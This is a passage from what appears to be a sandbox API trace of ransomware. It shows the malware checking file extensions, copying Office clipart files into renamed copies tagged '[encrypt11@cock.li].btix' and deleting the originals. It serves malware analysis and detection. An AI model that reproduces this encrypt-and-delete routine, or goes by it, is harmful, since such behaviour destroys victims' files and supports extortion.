Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0151.685] lstrlenW (lpString=".dbf") returned 4 [0151.685] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0151.685] lstrlenW (lpString=".1cd") returned 4 [0151.685] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0151.685] lstrlenW (lpString=".jpg") returned 4 [0151.685] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0151.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0151.685] lstrlenW (lpString=".doc") returned 4 [0151.685] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.685] lstrlenW (lpString=".docx") returned 5 [0151.685] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0151.685] lstrlenW (lpString=".pdf") returned 4 [0151.685] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.685] lstrlenW (lpString=".xls") returned 4 [0151.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.686] lstrlenW (lpString=".xlsx") returned 5 [0151.686] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0151.686] lstrlenW (lpString=".ppt") returned 4 [0151.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0151.686] lstrlenW (lpString=".zip") returned 4 [0151.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.686] lstrlenW (lpString=".rar") returned 4 [0151.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.686] lstrlenW (lpString=".bz2") returned 4 [0151.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.686] lstrlenW (lpString=".7z") returned 3 [0151.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0151.686] lstrlenW (lpString=".dbf") returned 4 [0151.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0151.686] lstrlenW (lpString=".1cd") returned 4 [0151.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0151.686] lstrlenW (lpString=".jpg") returned 4 [0151.686] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.686] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0151.686] lstrlenW (lpString="J0105282.WMF") returned 12 [0151.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0151.686] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=4796) returned 1 [0151.687] CloseHandle (hObject=0x374) returned 1 [0151.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 0x220 [0151.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0151.687] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.687] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0151.687] GetLastError () returned 0x0 [0151.687] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x12bc, lpOverlapped=0x0) returned 1 [0151.688] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x12c0, lpOverlapped=0x0) returned 1 [0151.689] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.689] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.689] SetEndOfFile (hFile=0x364) returned 1 [0151.689] CloseHandle (hObject=0x364) returned 1 [0151.690] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.690] SetEndOfFile (hFile=0x374) returned 1 [0151.690] CloseHandle (hObject=0x374) returned 1 [0151.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.690] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 1 [0151.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0151.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0151.691] lstrlenW (lpString=".doc") returned 4 [0151.691] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.691] lstrlenW (lpString=".docx") returned 5 [0151.691] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.691] lstrlenW (lpString=".pdf") returned 4 [0151.691] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.691] lstrlenW (lpString=".xls") returned 4 [0151.691] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.691] lstrlenW (lpString=".xlsx") returned 5 [0151.691] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.691] lstrlenW (lpString=".ppt") returned 4 [0151.691] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0151.691] lstrlenW (lpString=".zip") returned 4 [0151.691] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.691] lstrlenW (lpString=".rar") returned 4 [0151.691] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.691] lstrlenW (lpString=".bz2") returned 4 [0151.691] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.691] lstrlenW (lpString=".7z") returned 3 [0151.691] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0151.691] lstrlenW (lpString=".dbf") returned 4 [0151.691] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0151.692] lstrlenW (lpString=".1cd") returned 4 [0151.692] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0151.692] lstrlenW (lpString=".jpg") returned 4 [0151.692] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0151.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0151.692] lstrlenW (lpString=".doc") returned 4 [0151.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.692] lstrlenW (lpString=".docx") returned 5 [0151.692] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.692] lstrlenW (lpString=".pdf") returned 4 [0151.692] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.692] lstrlenW (lpString=".xls") returned 4 [0151.692] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.692] lstrlenW (lpString=".xlsx") returned 5 [0151.692] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.692] lstrlenW (lpString=".ppt") returned 4 [0151.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0151.692] lstrlenW (lpString=".zip") returned 4 [0151.692] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.692] lstrlenW (lpString=".rar") returned 4 [0151.692] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.692] lstrlenW (lpString=".bz2") returned 4 [0151.692] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.692] lstrlenW (lpString=".7z") returned 3 [0151.692] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0151.692] lstrlenW (lpString=".dbf") returned 4 [0151.692] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0151.692] lstrlenW (lpString=".1cd") returned 4 [0151.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0151.693] lstrlenW (lpString=".jpg") returned 4 [0151.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.693] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0151.693] lstrlenW (lpString="J0105286.WMF") returned 12 [0151.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0151.693] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=6568) returned 1 [0151.693] CloseHandle (hObject=0x374) returned 1 [0151.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 0x220 [0151.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0151.693] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.693] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0152.023] GetLastError () returned 0x0 [0152.023] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x19a8, lpOverlapped=0x0) returned 1 [0152.023] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x19b0, lpOverlapped=0x0) returned 1 [0152.024] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.024] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.025] SetEndOfFile (hFile=0x3a0) returned 1 [0152.025] CloseHandle (hObject=0x3a0) returned 1 [0152.025] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.025] SetEndOfFile (hFile=0x374) returned 1 [0152.025] CloseHandle (hObject=0x374) returned 1 [0152.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.033] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 1 [0152.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0152.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0152.033] lstrlenW (lpString=".doc") returned 4 [0152.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.033] lstrlenW (lpString=".docx") returned 5 [0152.033] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.034] lstrlenW (lpString=".pdf") returned 4 [0152.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.034] lstrlenW (lpString=".xls") returned 4 [0152.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.034] lstrlenW (lpString=".xlsx") returned 5 [0152.034] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.034] lstrlenW (lpString=".ppt") returned 4 [0152.034] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0152.034] lstrlenW (lpString=".zip") returned 4 [0152.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.034] lstrlenW (lpString=".rar") returned 4 [0152.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.034] lstrlenW (lpString=".bz2") returned 4 [0152.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.034] lstrlenW (lpString=".7z") returned 3 [0152.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0152.034] lstrlenW (lpString=".dbf") returned 4 [0152.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0152.034] lstrlenW (lpString=".1cd") returned 4 [0152.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0152.034] lstrlenW (lpString=".jpg") returned 4 [0152.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0152.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0152.034] lstrlenW (lpString=".doc") returned 4 [0152.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.035] lstrlenW (lpString=".docx") returned 5 [0152.035] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.035] lstrlenW (lpString=".pdf") returned 4 [0152.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.035] lstrlenW (lpString=".xls") returned 4 [0152.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.035] lstrlenW (lpString=".xlsx") returned 5 [0152.035] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.035] lstrlenW (lpString=".ppt") returned 4 [0152.035] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0152.035] lstrlenW (lpString=".zip") returned 4 [0152.035] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.035] lstrlenW (lpString=".rar") returned 4 [0152.035] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.035] lstrlenW (lpString=".bz2") returned 4 [0152.035] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.035] lstrlenW (lpString=".7z") returned 3 [0152.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0152.035] lstrlenW (lpString=".dbf") returned 4 [0152.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0152.035] lstrlenW (lpString=".1cd") returned 4 [0152.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0152.035] lstrlenW (lpString=".jpg") returned 4 [0152.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.036] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.036] lstrlenW (lpString="J0105320.WMF") returned 12 [0152.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0152.036] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=2020) returned 1 [0152.036] CloseHandle (hObject=0x374) returned 1 [0152.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 0x220 [0152.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0152.036] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.036] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0152.045] GetLastError () returned 0x0 [0152.045] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x7e4, lpOverlapped=0x0) returned 1 [0152.045] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x7f0, lpOverlapped=0x0) returned 1 [0152.163] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.163] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.163] SetEndOfFile (hFile=0x3a0) returned 1 [0152.164] CloseHandle (hObject=0x3a0) returned 1 [0152.164] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.164] SetEndOfFile (hFile=0x374) returned 1 [0152.164] CloseHandle (hObject=0x374) returned 1 [0152.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.165] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 1 [0152.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0152.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0152.165] lstrlenW (lpString=".doc") returned 4 [0152.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.165] lstrlenW (lpString=".docx") returned 5 [0152.165] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.165] lstrlenW (lpString=".pdf") returned 4 [0152.165] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.165] lstrlenW (lpString=".xls") returned 4 [0152.165] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.165] lstrlenW (lpString=".xlsx") returned 5 [0152.165] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.165] lstrlenW (lpString=".ppt") returned 4 [0152.165] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0152.165] lstrlenW (lpString=".zip") returned 4 [0152.165] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.165] lstrlenW (lpString=".rar") returned 4 [0152.165] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.165] lstrlenW (lpString=".bz2") returned 4 [0152.165] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.165] lstrlenW (lpString=".7z") returned 3 [0152.165] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0152.166] lstrlenW (lpString=".dbf") returned 4 [0152.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0152.166] lstrlenW (lpString=".1cd") returned 4 [0152.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0152.166] lstrlenW (lpString=".jpg") returned 4 [0152.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 